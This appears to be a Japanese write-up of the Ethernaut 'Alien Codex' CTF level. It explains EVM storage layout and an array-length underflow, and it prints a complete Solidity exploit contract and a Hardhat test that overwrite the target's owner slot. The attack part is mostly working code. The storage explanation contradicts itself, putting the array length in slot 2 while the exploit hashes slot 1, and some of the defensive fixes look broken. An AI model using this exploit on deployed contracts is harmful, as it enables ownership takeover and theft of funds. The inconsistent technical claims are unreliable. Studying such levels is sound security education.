Skip to content
On this page

Alien Codex CTF 問題解析:イーサリアムのストレージレイアウトと配列オーバーフロー攻撃の深堀り

はじめに

イーサリアムのスマートコントラクトセキュリティにおいて、ストレージレイアウトを理解することは非常に重要です。OpenZeppelinのEthernautプラットフォームにある「Alien Codex」問題は、ストレージレイアウトの知識と配列操作の脆弱性を巧みに組み合わせており、学習に最適なケースを提供しています。本稿では、この問題の技術的な詳細を解析し、攻撃の原理と完全な解法を紹介します。

問題の背景とコントラクト分析

コントラクト構造

Alien CodexコントラクトはOwnableコントラクトを継承しており、owner状態変数(Ownable由来)を持っています。コントラクト自体は次の2つの状態変数を定義しています:

  • bool public contact - アクセス制御用のブール値
  • bytes32[] public codex - 動的バイト配列
solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.5.0;

import "../helpers/Ownable-05.sol";

contract AlienCodex is Ownable {
    bool public contact;
    bytes32[] public codex;
    
    // ... 関数定義
}

主要関数の分析

  1. makeContact() - contactをtrueに設定し、コントラクト機能を有効化
  2. record(bytes32 _content) - codex配列に新しい要素を追加
  3. retract() - codex配列の長さを減少させる(脆弱性あり)
  4. revise(uint256 i, bytes32 _content) - 配列の指定インデックスを修正

イーサリアムのストレージレイアウト基礎

ストレージスロット割り当て規則

EVMでは状態変数は宣言順に32バイト単位のスロットに格納されます:

  • スロット0: ownerアドレス(Ownable由来)
  • スロット1: contactブール値
  • スロット2: codex.length(動的配列の長さ)

動的配列のストレージメカニズム

動的配列の要素は、keccak256ハッシュにより決定される位置に格納されます:

  • 配列要素開始位置:keccak256(abi.encode(slot))
  • 各要素は32バイトを占有
  • 配列は2²⁵⁶個のスロットまで拡張可能

脆弱性分析と攻撃原理

主要脆弱性:retract()関数

solidity
function retract() public contacted {
    codex.length--;
}

Solidity 0.5.0では、配列の長さ減少操作に下溢の脆弱性があります。配列長が0のときにlength--を実行すると、長さが2²⁵⁶-1に変わり、全ストレージ空間にアクセス可能になります。

ストレージ計算手順

  1. 配列要素開始スロットの計算
solidity
// 配列はスロット2に格納されている場合
uint256 arrayStart = uint256(keccak256(abi.encode(uint256(2))));
  1. ownerスロットを上書きするインデックスの計算 ストレージは循環しているため、次のインデックスで上書き可能です:
solidity
// スロット0の位置 = 2²⁵⁶ - arrayStart
uint256 indexToOverwrite = 2**256 - arrayStart;

完全な攻撃フロー

ステップ1:攻撃の初期化

solidity
// 1. コントラクトとの接触
target.makeContact();

// 2. 配列長の下溢を発生
target.retract();
// この時点で codex.length = 2**256 - 1

ステップ2:重要インデックスの計算

solidity
// 配列要素開始位置の計算
uint256 arrayStartSlot = uint256(keccak256(abi.encode(uint256(1))));
// 実際にはownerがスロット0、contactがスロット1、codex長がスロット2

// ownerスロットを上書きするためのインデックス
uint256 indexToOverwriteOwner = 2**256 - arrayStartSlot;

ステップ3:owner変数の上書き

solidity
// 攻撃者アドレスをbytes32に変換
bytes32 newOwner = bytes32(uint256(uint160(msg.sender)));

// revise関数を通じて"配列要素"を修正し、実際にownerスロットを上書き
target.revise(indexToOverwriteOwner, newOwner);

攻撃コントラクトの実装

solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.5.0;

interface IAlienCodex {
    function owner() external view returns (address);
    function contact() external view returns (bool);
    function codex(uint256) external view returns (bytes32);
    function makeContact() external;
    function record(bytes32) external;
    function retract() external;
    function revise(uint256, bytes32) external;
}

contract Hack {
    IAlienCodex private target;
    
    constructor(address _target) public {
        target = IAlienCodex(_target);
        
        // ステップ1: コントラクトを有効化
        target.makeContact();
        
        // ステップ2: 配列長下溢
        target.retract();
        
        // ステップ3: ownerを上書きするインデックスを計算
        uint256 arrayStart = uint256(keccak256(abi.encode(uint256(1))));
        uint256 indexToOverwrite = 2**256 - arrayStart;
        
        // ステップ4: ownerを上書き
        bytes32 newOwner = bytes32(uint256(uint160(msg.sender)));
        target.revise(indexToOverwrite, newOwner);
        
        // 攻撃成功を確認
        require(target.owner() == msg.sender, "Attack failed!");
    }
}

テストスクリプト解析

typescript
import { ethers } from "hardhat";
import { expect } from "chai";
import { AlienCodex, Hack } from "../typechain-types";

describe("AlienCodex", function () {
  describe("AlienCodex testnet online sepolia", function () {
    it("testnet online sepolia AlienCodex", async function () {
      const ALIENCODEX_ADDRESS = "0x...";
      const AlienCodexFactory = await ethers.getContractFactory("AlienCodex");
      const ALIENCODEX_ABI = AlienCodexFactory.interface.format();
      const challenger = await ethers.getNamedSigner("deployer");
      const alienCodexContract = new ethers.Contract(
        ALIENCODEX_ADDRESS, 
        ALIENCODEX_ABI, 
        challenger
      );

      const LEVEL = "0x...";

      const owner_before = await alienCodexContract.owner();
      expect(owner_before).to.be.equals(LEVEL);

      const HackFactory = await ethers.getContractFactory("Hack");
      const hack = (await HackFactory.deploy(ALIENCODEX_ADDRESS)) as Hack;
      await hack.waitForDeployment();

      const deployer = await ethers.getNamedSigner("deployer");
      const owner_after = await alienCodexContract.owner();
      expect(owner_after).to.be.equals(deployer.address);
    });
  });
});

セキュリティ防御策

1. SafeMathの使用

solidity
import "@openzeppelin/contracts/utils/math/SafeMath.sol";

using SafeMath for uint256;

function retract() public contacted {
    codex.length = codex.length.sub(1); // SafeMathで下溢防止
}

2. Solidityバージョンの更新

Solidity 0.8.0以降は算術チェックが組み込まれており、自動的にオーバーフロー/アンダーフローを防止

3. 入力検証

solidity
function revise(uint256 i, bytes32 _content) public contacted {
    require(i < codex.length, "Index out of bounds");
    codex[i] = _content;
}

4. 現代的な配列操作の利用

直接的な配列長の操作を避け、pop()などの安全な関数を使用

技術的ポイントまとめ

  1. ストレージレイアウト理解:状態変数の格納ルールを把握することがセキュリティの基礎
  2. 動的配列ストレージ:要素位置はkeccak256で計算される
  3. 整数下溢脆弱性:古いSolidityバージョンでは算術操作に注意
  4. ストレージ空間の循環性:2²⁵⁶の空間は循環しており、配列経由で任意スロットを操作可能
  5. ABIエンコード規則abi.encodeを正しく使用してストレージ位置を計算

結論

Alien Codex問題は、ストレージレイアウト、動的配列、整数下溢、ストレージ操作など、スマートコントラクトセキュリティの重要な概念を組み合わせたケースです。これらの概念を理解することで、安全なコントラクト設計や脆弱性の発見に役立ちます。また、最新のツールチェーンとセキュリティベストプラクティスの使用が重要であることも示しています。

現実のスマートコントラクト開発においては以下を推奨します:

  1. 常に最新の安定版Solidityコンパイラを使用
  2. OpenZeppelinなどの監査済みライブラリを活用
  3. 単体テストおよび境界値テストを徹底
  4. 形式的検証ツールによる追加のセキュリティチェック

これらの基礎原理と安全対策を習得することで、より堅牢で安全な分散型アプリケーションを構築可能です。

Built with AiAda